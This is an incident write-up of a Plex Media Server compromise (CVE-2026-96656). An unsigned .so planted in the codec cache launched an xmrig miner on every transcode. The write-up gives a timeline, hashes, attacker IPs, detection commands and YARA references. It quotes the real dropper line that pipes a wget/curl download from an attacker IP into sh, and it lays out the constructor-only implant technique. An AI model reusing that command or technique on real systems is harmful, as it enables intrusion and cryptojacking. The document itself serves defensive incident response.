
Incident write-up: unsigned .so in the Plex Media Server codec cache executes a dropper on every transcode (CVE-2026-96656) — IOCs, STIX, YARA
.so planted in Plex Media Server's codec cache executes a Monero miner on every transcodeIncident date: 2026-10-17 → 2026-10-18 (UTC+02:00)
Vulnerability: CVE-2026-96656 (CVSS 4.0: 8.6, CISA-assigned) — fixed in Plex Media Server 1.43.3.10861
Affected: Plex Media Server 1.43.2.10687 (Linux, official linuxserver/plex container)
Status: contained; host rebuild not required (no on-disk persistence outside the codec cache)
An attacker with access to the Plex server dropped an unsigned shared object named
zz45fbb275.so into the application's codec directory — a directory Plex populates
itself and passes to every transcoder via FFMPEG_EXTERNAL_LIBS. The object exports
nothing and declares no dependencies; its whole payload is a single .init_array
constructor, so it executes the moment the transcoder dlopen()s it.
Every transcode — a client pressing play, or the library's thumbnail/analysis jobs — therefore re-ran:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
which downloaded an xmrig-derived RandomX miner (x12345) and started it against
ota.proxystream.st:3333 with --rig-id plexdocker. There was no cron job, no systemd
unit, no rc-file edit, and no modified binary: the codec cache was the persistence
mechanism. Killing the miner alone re-infected the host at the next playback.
| Time | Event |
|---|---|
| Oct 17 07:50 | First WAN session from 45.194.92.222; requests authenticate as guest, then register a Companion player and drive /player/* and agent endpoints |
| Oct 17 17:20 | zz45fbb275.so created in …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (directory mtime changes; no other file appears) |
| Oct 17 17:23 | /tmp/x12345 written (8,350,992 bytes) |
| Oct 17 17:40 | Miner running: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % CPU |
| Oct 18 10:48 | Second dropper chain spawned by a later transcode — the payload re-runs on demand |
| Oct 18 11:14 | Detection: mining process found with PPid pointing at the container's PID 1 |
| Oct 18 11:20–11:35 | Containment: .so removed, Plex updated to 1.43.4, WAN access to 32400 dropped |
The server was reachable from the internet (Plex's own UPnP port mapping). Plex logs
show the source 45.194.92.222 authenticating as guest and issuing agent calls at
the exact minute the .so appeared; a second address, 91.92.40.202, also appears with
guest authentication.
The public description of CVE-2026-96656 matches this artifact exactly:
Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference
TranscoderH264Optionsis appended verbatim to x264's option string on every transcode. At startup, all .so files are run without signature, execute bit, or symbol checks.
Two consequences worth stating plainly:
PR:H). The guest-authenticated requests above do
not by themselves explain the file write, so the server's admin token must be treated
as compromised regardless of how the request was made..so files in the codec
directory, which is why a do-nothing library with a single constructor is a complete
payload.We did not capture the specific request that wrote the file — the drop is evidenced
by filesystem timestamps and the execution chain, not by a packet capture. The
TranscoderH264Options preference on the affected host was found empty afterwards,
so the value used to write the file was either reset or overwritten; that is the one
piece of the chain we cannot reconstruct after the fact.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
Because the constructor runs on load, the object does not need to implement any codec API. It only needs to be in a directory the transcoder loads libraries from.
Placement details worth detecting on:
lib*.so; every legitimate file in the codec directory is
(libh264_decoder.so, libhevc_decoder.so, …). zz was likely chosen to sort last.Codecs/<set-id>-linux-x86_64/) is normally written only by
Plex's own codec download, whose files all carry lib prefixes.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder is the only other non-lib
object that belongs in that tree.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker is a fixed operator tag — useful for pivot searches in flow data
and pool telemetry. The process was found in state T (stopped) holding ~2.3 GB RSS:
stopped is not harmless, it resumes and keeps hashing.
PPid pointed at the container's PID 1 (s6-svscan) because the real parent had already
exited — reparenting, not supervision. The actual launcher was visible only through the
shared socketpair: ss -xp listed the sh/wget chain, Plex Transcoder, the tuner
service and the Plex server on the same socket pair, and walking the children of the live
Plex Transcoder showed the dropper as its child. The trigger was the transcode itself.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
Any hit that is not EasyAudioEncoder is suspicious. Also flag a codec directory whose
mtime changed without a corresponding lib*.so being added.
Check the preference that CVE-2026-96656 abuses for the arbitrary file write:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
A non-empty value deserves reading — it is appended verbatim to x264's option string on every transcode, and anything filename-shaped in it ends up written to disk. On the host here it was empty after the incident, so absence is not proof of absence: correlate with the file's mtime.
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f with the bare pattern will kill the shell running it (the pattern is part of
that shell's command line) — use the bracketed form or kill by PID.
Look for guest authentication from a WAN address followed by agent/companion activity, with a new file appearing in the codec directory in the same minute:
Auth: authenticating user as guest
Request: [<wan-ip>:<port> (WAN)] GET /identity
Request: [<wan-ip>:<port> (WAN)] GET /player/proxy/poll …
Request: [127.0.0.1:<port> (Loopback)] POST /system/agents/z/searchOne …
yara/plex_codec_implant.yar — three rules: the constructor-only dropper object, the
xmrig build used here, and a generic renamed-xmrig rule. All are string/ELF based; no
sample is required to run them.